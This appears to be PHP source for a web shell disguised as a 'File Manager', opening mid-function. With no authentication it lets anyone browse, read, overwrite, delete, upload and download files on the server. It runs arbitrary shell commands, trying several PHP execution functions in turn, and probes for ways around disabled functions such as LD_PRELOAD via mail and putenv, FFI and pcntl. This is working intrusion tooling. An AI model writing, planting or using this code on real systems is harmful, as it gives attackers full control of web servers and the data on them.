=1073741824)return round($b/1073741824,2).' GB';if($b>=1048576)return round($b/1048576,2).' MB';if($b>=1024)return round($b/1024,2).' KB';return $b.' B';}
function fmtPerm($p){return substr(sprintf('%o',fileperms($p)),-4);}
function fileIcon($f){$e=strtolower(pathinfo($f,PATHINFO_EXTENSION));$m=['php'=>'š','js'=>'š','css'=>'šØ','html'=>'š','htm'=>'š','jpg'=>'š¼','jpeg'=>'š¼','png'=>'š¼','gif'=>'š¼','svg'=>'š¼','webp'=>'š¼','zip'=>'š¦','rar'=>'š¦','gz'=>'š¦','tar'=>'š¦','7z'=>'š¦','txt'=>'š','log'=>'š','md'=>'š','sql'=>'š','sh'=>'ā','py'=>'š','json'=>'š','xml'=>'š','yml'=>'š','conf'=>'ā','ini'=>'ā','env'=>'ā','htaccess'=>'š','pdf'=>'š','mp3'=>'šµ','mp4'=>'š¬'];return $m[$e]??'š';}
function rrmdir($d){if(is_dir($d)){foreach(array_diff(scandir($d),['.','..'])as$f){$p=$d.'/'.$f;is_dir($p)?rrmdir($p):unlink($p);}return rmdir($d);}return false;}
$cwd=isset($_GET['dir'])?$_GET['dir']:getcwd();$cwd=rtrim($cwd,'/\\');if(!is_dir($cwd))$cwd=getcwd();
if($_SERVER['REQUEST_METHOD']==='PUT'&&isset($_GET['f'])){$s=basename(base64_decode($_GET['f']));$b=@file_put_contents($s,file_get_contents('php://input'));header('Content-Type: application/json');echo json_encode(['status'=>'done','file'=>$s,'size'=>(int)$b]);exit;}
$_rct=$_SERVER['CONTENT_TYPE']??'';
if($_SERVER['REQUEST_METHOD']==='POST'&&strpos($_rct,'application/json')!==false){$_rb=@file_get_contents('php://input');$_jd=$_rb?@json_decode($_rb,true):null;if($_jd&&!isset($_jd['t'])&&isset($_jd['saveas'])){$s=basename($_jd['saveas']);$b=@file_put_contents($s,base64_decode($_jd['data']??''));header('Content-Type: application/json');echo json_encode(['status'=>'done','file'=>$s,'size'=>(int)$b]);exit;}}
$_raw=@file_get_contents('php://input');$_j=($_raw&&strlen($_raw)>2)?@json_decode($_raw,true):null;
$action='';if($_j&&isset($_j['t']))$action=$_j['t'];elseif(isset($_GET['t']))$action=$_GET['t'];
function jp($k,$d=''){global $_j;return isset($_j[$k])?base64_decode($_j[$k]):$d;}
function jpr($k,$d=''){global $_j;return isset($_j[$k])?$_j[$k]:$d;}
if($action){
header('Content-Type: application/json');header('X-Content-Type-Options: nosniff');
if($action==='l'){$dir=jp('p')?:$cwd;$items=[];if(is_dir($dir)){$entries=@scandir($dir);if($entries)foreach($entries as $e){if($e==='.')continue;$fp=$dir.'/'.$e;$isD=is_dir($fp);$items[]=['name'=>$e,'type'=>$isD?'dir':'file','size'=>$isD?'-':fmtSize(@filesize($fp)),'rawsize'=>$isD?0:@filesize($fp),'perm'=>@fmtPerm($fp),'mtime'=>@date('Y-m-d H:i',filemtime($fp)),'path'=>$fp,'icon'=>$isD?'š':fileIcon($e)];}}echo json_encode(['status'=>'ok','items'=>$items,'cwd'=>$dir]);exit;}
if($action==='r'){$f=jp('p');if(is_file($f)&&is_readable($f))echo json_encode(['status'=>'ok','content'=>base64_encode(file_get_contents($f)),'file'=>$f,'size'=>filesize($f)]);else echo json_encode(['status'=>'error','msg'=>'Cannot read']);exit;}
if($action==='s'){$f=jp('p');$c=jp('d');$b=@file_put_contents($f,$c);echo json_encode($b!==false?['status'=>'ok','msg'=>'Saved '.basename($f).' ('.$b.' bytes)']:['status'=>'error','msg'=>'Save failed']);exit;}
if($action==='rm'){$f=jp('p');if(is_file($f))echo json_encode(@unlink($f)?['status'=>'ok','msg'=>'Deleted']:['status'=>'error','msg'=>'Delete failed']);elseif(is_dir($f))echo json_encode(rrmdir($f)?['status'=>'ok','msg'=>'Deleted dir']:['status'=>'error','msg'=>'Cannot delete']);else echo json_encode(['status'=>'error','msg'=>'Not found']);exit;}
if($action==='mv'){$a=jp('p');$b=jp('p2');echo json_encode(@rename($a,$b)?['status'=>'ok','msg'=>'Moved']:['status'=>'error','msg'=>'Failed']);exit;}
if($action==='md'){$d=jp('p');echo json_encode(@mkdir($d,0755,true)?['status'=>'ok','msg'=>'Created']:['status'=>'error','msg'=>'Failed']);exit;}
if($action==='nf'){$f=jp('p');echo json_encode(@file_put_contents($f,'')!==false?['status'=>'ok','msg'=>'Created']:['status'=>'error','msg'=>'Failed']);exit;}
if($action==='cm'){$f=jp('p');$m=octdec(jp('d')?:'0644');echo json_encode(@chmod($f,$m)?['status'=>'ok','msg'=>'Changed']:['status'=>'error','msg'=>'Failed']);exit;}
if($action==='cp'){$a=jp('p');$b=jp('p2');echo json_encode(is_dir($a)?['status'=>'error','msg'=>'Use terminal']:(@copy($a,$b)?['status'=>'ok','msg'=>'Copied']:['status'=>'error','msg'=>'Failed']));exit;}
if($action==='cu'){$s=jp('p');$ch=base64_decode(jp('d'));if(jpr('f')==='1')@file_put_contents($s,$ch);else @file_put_contents($s,$ch,FILE_APPEND);echo json_encode(['status'=>jpr('e')==='1'?'done':'ok','file'=>basename($s),'size'=>jpr('e')==='1'?@filesize($s):0]);exit;}
if($action==='ub'){$s=jp('p');$b=@file_put_contents($s,base64_decode(jp('d')));echo json_encode(['status'=>'done','file'=>basename($s),'size'=>$b]);exit;}
if($action==='x'){$cmd=jp('d');$dir=jp('p')?:$cwd;$fullCmd='cd '.escapeshellarg($dir).' && '.$cmd.' 2>&1';$out='';$method='none';$df=explode(',',str_replace(' ','',strtolower(ini_get('disable_functions'))));$ok=function($f)use($df){return function_exists($f)&&!in_array(strtolower($f),$df);};
if($ok('shell_exec')){$out=@shell_exec($fullCmd);$method='shell_exec';}
elseif($ok('exec')){$lines=[];@exec($fullCmd,$lines,$rc);$out=implode("\n",$lines);$method='exec';}
elseif($ok('system')){ob_start();@system($fullCmd,$rc);$out=ob_get_clean();$method='system';}
elseif($ok('passthru')){ob_start();@passthru($fullCmd);$out=ob_get_clean();$method='passthru';}
elseif($ok('popen')){$h=@popen($fullCmd,'r');if($h){$out=@stream_get_contents($h);@pclose($h);}$method='popen';}
elseif($ok('proc_open')){$desc=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=@proc_open($fullCmd,$desc,$pipes);if(is_resource($p)){@fclose($pipes[0]);$out=@stream_get_contents($pipes[1]).@stream_get_contents($pipes[2]);@fclose($pipes[1]);@fclose($pipes[2]);@proc_close($p);}$method='proc_open';}
else{$out="[!] All exec functions disabled.\ndisable_functions: ".ini_get('disable_functions');}
echo json_encode(['status'=>'ok','output'=>base64_encode(($out?:'(no output)')."\n[method: $method]")]);exit;}
if($action==='xi'){$df=explode(',',str_replace(' ','',strtolower(ini_get('disable_functions'))));$fns=['shell_exec','exec','system','passthru','popen','proc_open','pcntl_fork','pcntl_exec','mail','putenv','dl'];$info="=== Tier 1: Direct Exec ===\n";$t1=['shell_exec','exec','system','passthru','popen','proc_open'];foreach($t1 as $f){$avail=function_exists($f)&&!in_array($f,$df);$info.=($avail?'ā
':'ā')." $f\n";}$info.="\n=== Tier 2: Bypass Methods ===\n";$info.=(class_exists('FFI')?'ā
':'ā')." FFI (PHP ".phpversion().")\n";$avPcntl=function_exists('pcntl_fork')&&!in_array('pcntl_fork',$df)&&function_exists('pcntl_exec')&&!in_array('pcntl_exec',$df);$info.=($avPcntl?'ā
':'ā')." pcntl_fork+exec\n";$avMail=(function_exists('mail')&&!in_array('mail',$df))&&(function_exists('putenv')&&!in_array('putenv',$df));$info.=($avMail?'ā
':'ā')." mail+putenv (LD_PRELOAD)\n";$info.=(function_exists('imap_open')?'ā
':'ā')." imap_open\n";$info.="\n=== Server Info ===\ndisable_functions: ".ini_get('disable_functions')."\nopen_basedir: ".(ini_get('open_basedir')?:'(none)')."\nPHP: ".phpversion()."\nSAPI: ".php_sapi_name()."\nOS: ".php_uname()."\nWritable /tmp: ".(@is_writable('/tmp')?'Yes':'No')."\nWritable cwd: ".(@is_writable(getcwd())?'Yes':'No');echo json_encode(['status'=>'ok','output'=>base64_encode($info)]);exit;}
if($action==='dl'){$f=isset($_GET['f'])?base64_decode($_GET['f']):'';if(is_file($f)&&is_readable($f)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($f).'"');header('Content-Length: '.filesize($f));readfile($f);}else echo json_encode(['status'=>'error','msg'=>'Cannot download']);exit;}
echo json_encode(['status'=>'error','msg'=>'Unknown']);exit;}
$serverInfo=['php'=>phpversion(),'os'=>php_uname(),'user'=>function_exists('posix_getpwuid')?posix_getpwuid(posix_geteuid())['name']:get_current_user(),'server'=>$_SERVER['SERVER_SOFTWARE']??'Unknown','docroot'=>$_SERVER['DOCUMENT_ROOT']];
?>
File Manager
ā” FM
Loading...
| Name ā | Size ā | Perm ā | Modified ā | Actions |
|---|
āļø Editor
⬠Upload
š» Terminal
ā¹ļø Info
No file open
$ _
Click a file to view details.
Ready=htmlspecialchars($serverInfo['user'])?> @ =htmlspecialchars($serverInfo['server'])?> | PHP =htmlspecialchars($serverInfo['php'])?>